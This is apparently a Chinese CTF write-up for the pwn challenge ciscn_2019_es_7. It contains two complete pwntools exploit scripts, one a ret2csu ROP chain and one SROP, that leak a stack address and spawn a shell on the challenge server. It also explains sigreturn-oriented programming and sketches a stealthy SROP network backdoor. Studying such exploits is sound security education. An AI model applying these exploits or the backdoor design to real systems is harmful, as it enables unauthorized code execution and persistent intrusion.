ciscn_2019_es_7--SROP

checksec

matrix@ubuntu:~/PWN/BUU$ checksec ciscn_2019_es_7
[*] '/home/matrix/PWN/BUU/ciscn_2019_es_7'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    只开启NX保护
matrix@ubuntu:~/PWN/BUU$ ./ciscn_2019_es_7 
asdasda
asdasda
����6@����Segmentation fault (core dumped)
内存泄露

IDA

main:
var_10= qword ptr -10h
var_4= dword ptr -4
; __unwind {
push    rbp
mov     rbp, rsp
sub     rsp, 10h
mov     [rbp+var_4], edi
mov     [rbp+var_10], rsi
mov     eax, 0
call    vuln
nop
leave
retn

vuln:
buf= byte ptr -10h
; __unwind {
push    rbp
mov     rbp, rsp
xor     rax, rax
mov     edx, 400h       ; count
lea     rsi, [rsp+buf]  ; buf
mov     rdi, rax        ; fd
syscall                 ; LINUX - sys_read
mov     rax, 1
mov     edx, 30h        ; count
lea     rsi, [rsp+buf]  ; buf
mov     rdi, rax        ; fd
syscall                 ; LINUX - sys_write
retn

主要在vuln中:

  • read(rdi=0,rsi=buf_add,rdx=400h)
  • write(rdi=1,rsi=buf_addr,rdx=30h)

分析

像这样的很短的程序,直接看汇编码,画出栈数据结构:

  • 因为read过量读取和write输出字节数过大,分别造成栈溢出和内存泄露。
  • 在rsp_1这里存着stack 地址就可以获取栈地址,rbp_1会在执行ret时作为返回地址,这里是我们要进行覆盖的无法泄露。
  • 程序中有多个syscall可以进行系统调用构造
  • 程序给出了hint:
    000000004004D6 gadgets         proc near
    .text:00000000004004D6 ; __unwind {
    .text:00000000004004D6                 push    rbp
    .text:00000000004004D7                 mov     rbp, rsp
    .text:00000000004004DA                 mov     rax, 0Fh   =====>sigreturn系统调用号
    ····
    ····
    000000004004E2 ; ---------------------------------------------------------------------------
    .text:00000000004004E2                 mov     rax, 3Bh   ======> execv系统调用号
    .text:00000000004004E9                 retn
    .text:00000000004004EA ; ---------------------------------------------------------------------------

思路

  • 既然后给出了execv系统调用号那就是要构造系统调用rop链来pwn了。
  • execv(rdi=’/bin/sh’_addr,rsi=0,rdx=0),’/bin/sh’因为栈地址泄露,我们可以将binsh放入栈中,并且算出其地址。
  • 寄存器赋值:
    ROPgadget --binary ciscn_2019_es_7 --only "" | grep "rdi"
    0x00000000004005a3 : pop rdi ; ret
    ROPgadget --binary ciscn_2019_es_7 --only "" | grep "rsi"
    0x00000000004005a1 : pop rsi ; pop r15 ; ret
    00000000004004E2                 mov     rax, 3Bh
    只有rdx的gadgets实在是找不到,最后想到了万能gadget:<__libc_csu_init>:
    400580:    4c 89 ea                 mov    rdx,r13
    400583:    4c 89 f6                 mov    rsi,r14
    400586:    44 89 ff                 mov    edi,r15d
    400589:    41 ff 14 dc              call   QWORD PTR [r12+rbx*8]
    40058d:    48 83 c3 01              add    rbx,0x1
    400591:    48 39 eb                 cmp    rbx,rbp
    400594:    75 ea                    jne    400580 <__libc_csu_init+0x40>
    400596:    48 83 c4 08              add    rsp,0x8
    40059a:    5b                       pop    rbx
    40059b:    5d                       pop    rbp
    40059c:    41 5c                    pop    r12
    40059e:    41 5d                    pop    r13
    4005a0:    41 5e                    pop    r14
    4005a2:    41 5f                    pop    r15
    4005a4:    c3                       ret    
    那么其实execv调用的rdi,rsi,rdx可以直接用这个的解决

但这里也引出了一个问题

call QWORD PTR [r12+rbx*8],需要绕过。
call qword ptr [寄存器] 是将寄存器中的值作为地址,找到该地址的值作为被调用函数入口,因为不知道那个地址上的数据类型所以在前面进行强制转换:qword 。就像jmp *register 这就是指针汇编形式
所以我的解决办法是:在栈中布置一个ret地址。计算出其栈地址,然后在__libc_csu_init:使r12赋值为该栈地址,那么call QWORD PTR [r12+rbx*8]就是执行了一个ret。那么也可以在栈中直接布置一个syscall然后call时直接就是进行execv函数。

EXP

from pwn import*
context.log_level = 'debug'

#sh = process('./ciscn_2019_es_7')
sh = remote('node3.buuoj.cn',25790)

payload = '/bin/sh\x00'.ljust(0x10,'A')
payload += p64(0x000040051D) #jmp to start
payload += 'A'*6 + ':'
sh.sendline(payload)
sh.recvuntil('AAA:\n')
stack_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0x1ff58  #gdb调试,计算
print hex(stack_addr)
bin_sh_addr = stack_addr + 0x1fe20 #gdb调试,计算

#execv(rdi='/bin/sh'_Addr,rsi=0,rdx=0)rax=59
pop_rdi_ret = 0x00000000004005a3
pop_rsi_r15_ret = 0x00000000004005a1
mov_rax_3bh = 0x04004E2
ret = 0x00000000004003a9
syscall = 0x0000000000400501

#rbx=0,rbp=1,r12=ret,r13=0,r14=0,r15=0
payload1 = '/bin/sh'.ljust(0x8,'\x00')
payload1 += p64(ret)   #栈中布置ret指令地址
payload1 += p64(0x40059a)
payload1 += p64(0)
payload1 += p64(1)
payload1 += p64(bin_sh_addr+8)  #ret指令的栈地址
payload1 += p64(0)
payload1 += p64(0)
payload1 += p64(0)
payload1 += p64(0x400580)  
payload1 += p64(0)*7 #for rsp increasing
payload1 += p64(pop_rdi_ret) + p64(bin_sh_addr)
payload1 += p64(mov_rax_3bh)
payload1 += p64(syscall)

#gdb.attach(sh)
sh.sendline(payload1)

sh.interactive()

结果:

[*] Switching to interactive mode
\x00\x00\x00\x00\x0[DEBUG] Received 0x30 bytes:
    00000000  2f 62 69 6e  2f 73 68 00  a9 03 40 00  00 00 00 00/bin│/sh·│··@·│····│
    00000010  9a 05 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │··@·│····│····│····│
    00000020  01 00 00 00  00 00 00 00  b8 69 b6 b8  fd 7f 00 00  │····│····│·i··│····│
    00000030
/bin/sh\x00\x03\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00i\xb6\xb8�$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x4 bytes:
    'ctf\n'
ctf
[*] Got EOF while reading in interactive
$  

其最优解是对这系统调用的使用:

.text:00000000004004DA        mov     rax, 0Fh   =====>sigreturn系统调用号

我这个方法是死磕出来的,一起来学习一下这种方法:

SROP–Sigreturn Oriented Programming

Signal机制

这个机制在现在的操作系统中广泛使用,比如内核要杀死一个进程(kill -9 $PID),再比如为进程设置定时器,或者通知进程一些异常事件等等。

  • 当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核
  • 然后内核为该进程保存相应的上下文(主要是将所有寄存器压入栈中,以及压入 signal 信息以及指向 sigreturn 的系统调用地址),跳转到之前注册好的signal handler中处理相应signal
  • 执行完signal handler,返回
  • 内核为该进程恢复之前保存的上下文,最后恢复进程的执行

    在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。这里以Linux为例:
    在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址ret2sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。
    此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

    在栈顶填入ret2sigrturn之后栈结构如下:64位

我们将这段内存称为一个`Signal Frame`
signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。从挂起点恢复执行。其中,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15。

对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出分别给出 x86 以及 x64 的 sigcontext
x86

struct sigcontext
{
  unsigned short gs, __gsh;
  unsigned short fs, __fsh;
  unsigned short es, __esh;
  unsigned short ds, __dsh;
  unsigned long edi;
  unsigned long esi;
  unsigned long ebp;
  unsigned long esp;
  unsigned long ebx;
  unsigned long edx;
  unsigned long ecx;
  unsigned long eax;
  unsigned long trapno;
  unsigned long err;
  unsigned long eip;
  unsigned short cs, __csh;
  unsigned long eflags;
  unsigned long esp_at_signal;
  unsigned short ss, __ssh;
  struct _fpstate * fpstate;
  unsigned long oldmask;
  unsigned long cr2;
};
x64
struct _fpstate
{
  /* FPU environment matching the 64-bit FXSAVE layout.  */
  __uint16_t        cwd;
  __uint16_t        swd;
  __uint16_t        ftw;
  __uint16_t        fop;
  __uint64_t        rip;
  __uint64_t        rdp;
  __uint32_t        mxcsr;
  __uint32_t        mxcr_mask;
  struct _fpxreg    _st[8];
  struct _xmmreg    _xmm[16];
  __uint32_t        padding[24];
};

struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};

机制缺陷

  • 这个Signal Frame是被保存在用户进程的地址空间中的,是用户进程可读写的\
  • 内核并没有将保存的过程和恢复的过程进行一个比较,也就是说,在sigreturn这个系统调用的处理函数中,内核并没有判断当前的这个`Signal Frame`就是之前内核为用户进程保存的那个`Signal Frame`

    一个最简单的攻击

    如果攻击者可以控制用户进程的栈,那么它就可以伪造一个Signal Frame,如下图所示:

    伪造的Signal Frame中:
  • rdi赋值为/bin/sh地址
  • rax赋值为execv系统调用号59
  • rip赋值为syscall指令地址
  • 我觉得还要有rsi=0,rdx=0
    最后,将rt_sigreturn手动设置成sigreturn系统调用的内存地址。那么,当这个伪造的sigreturn系统调用返回之后,相应的寄存器就被设置成了攻击者可以控制的值,在此例子中sigreturn一但执行完毕返回到用户态,寄存器就会被设置成攻击者所修改的值,即调用execv打开一个shell

这是一个最简单的攻击。在这个攻击中,有4个前提条件:

  • 攻击者可以通过stack overflow等漏洞控制栈上的内容;
  • 需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址)
  • 需要知道syscall指令在内存中的地址;
  • 需要知道sigreturn系统调用的内存地址。

使用pwntools 模块进行攻击

先指定指定机器的运行模式:context(os=’linux’,arch=’adm64’)
使用SigreturnFrame()获取frame结构体,然后进行赋值即可

EXP

from pwn import*
context.log_level = 'debug'
context(os='linux',arch='amd64')

sh = process('./ciscn_2019_es_7')

payload = '/bin/sh\x00'.ljust(0x10,'A')
payload += p64(0x000040051D) #jmp to start
payload += 'A'*6 + ':'
sh.sendline(payload)
sh.recvuntil('AAA:\n')
stack_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0x1ff58
print hex(stack_addr)
bin_sh_addr = stack_addr + 0x1fe20

pop_rdi_ret = 0x00000000004005a3
pop_rsi_r15_ret = 0x00000000004005a1
mov_rax_3bh = 0x04004E2
ret = 0x00000000004003a9
syscall = 0x0000000000400501
mov_rax_ret = 0x00000000004004da

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve #指定系统调用号 59  
sigframe.rdi = bin_sh_addr #指定参数rdi为bin sh地址
sigframe.rsi = 0x0 #指定参数rsi为0
sigframe.rdx = 0x0 #指定参数rdx为0
sigframe.rip = syscall #指定rip为syscall

payload = '/bin/sh\x00'.ljust(0x10,'A')
payload += p64(mov_rax_ret) #先将rax赋值为15
payload += p64(syscall)  #进行系统调用sigreturn,然而程序并没有什么signal所以就直接返回,对sigframe 进行恢复,因为sigframe.rip = syscall所以将执行execve
payload += str(sigframe)

sh.sendline(payload)

sh.interactive()

MASS

利用SROP构造系统调用串

像上面那样布置,只能进行一次系统调用,如果要进行多次系统调用就需要额外添加一个对栈指针rsp的控制就行了。如下

该示意图在第一次系统调用socket函数后ret到address2,然后进行第二次系统调用bind函数,继续ret到address3……也就是要在syscall 后面加上一个ret指令来控制程序流程
所以想要构造SROP系统调用串就需要两个很重要的gadgets:sigreturn ,syscall; ret
对于sigreturn这个系统调用和别的系统调用有一个不同的地方,即一般的应用程序不会主动调用它,而是像之前介绍的,由内核将相应地址填到栈上,使得应用进程被动地调用。因此在系统中一般会有一段代码专门用来调用sigreturn。在不同的类UNIX系统中,这段代码会出现在不同的位置,如下图所示:

其中在Linux < 3.11 ARM(也就是大部分现在Android所使用的内核),以及FreeBSB 9.2 x86_64,都可以在固定的内存地址中找到这个gadget,而在其它系统中,一般被保存在libc库的内存中,如果有ASLR保护的话似乎没有那么容易找到。
Linux < 3.3 x86_64(在 Debian 7.0, Ubuntu Long Term Support, CentOS 6 系统中默认内核),可以直接在 vsyscall 中的固定地址处找到 syscall&return 代码片段。如下

其中vsyscall是用来加速time()gettimeofday()getcpu()这三个系统调用的机制,虽然现在已经被vsyscall-emulatevdso机制所代替,但在稍微比较早一点的内核中依然是被默认支持的。
除了上面提到的这两个可能存在在固定地址的gadgets之外,在其它系统中,这两个gadgets似乎并没有那么容易找到,特别是在有ALSR保护的系统中。但是,如果我们将其和传统的ROP来进行比较的话,就可以发现,它把整个攻击的代价拉低了一个档次。

sigreturn更好的调用方法

那么其实这个单独的gadget并不是必须的。因为我们可以将rax寄存器设置成15(sigreturn的系统调用号),然后调用一个syscall,效果和调用一个sigreturn是一样一样的。那么,问题就从“如何找到一个sigreturn gadget”变成了“如何控制寄存器rax的值”。而rax这个寄存器非常特殊,它除了被用来指定系统调用的调用号之外,也是函数返回值最后存放的地方。因此,我们可以利用控制函数返回值来控制rax寄存器的值,具体的做法因人而异。比如利用read函数读取不同个数的字符来控制rax的值

SROP应用场景

利用SROP构造一些列系统调用,利用这些系统调用我们可以做很多事。

应用场景一:后门(Backdoor)

可以通过这种方法构造一个后门

后门的意思就是攻击者在系统中隐藏一个可以被触发的点,当某些比较少见的特定操作发生之后,会触发一个动作,这个动作一般是打开一个端口让攻击者通过网络连接进系统,从而对系统进行控制。后门最重要的特点是隐蔽,不容易被杀毒软件检查出来。所以说如果后门是一段可执行代码,那么就很容易被杀毒软件检测到,而如果后门是隐藏在数据域中,那么就能做到非常隐蔽
SROP就为其提供了一个强有力的工具:system call chain。整个过程如下图所示:

在这个过程中,攻击者利用inotify API来监控一个文件,当这个文件被访问(比如攻击者在发起的请求中读取这个文件的内容),则后续的系统调用链被触发,打开一个socket,等待连接。同时通过一个alarm系统调用设置一个定时器,如果在5秒钟没有人对这个socket发起连接请求,则将其关闭,否则建立连接,并调用execve系统调用打开一个shell。
这就是一个典型的后门,可以用SROP完成。


  转载请注明: Squarer ciscn_2019_es_7--SROP

  目录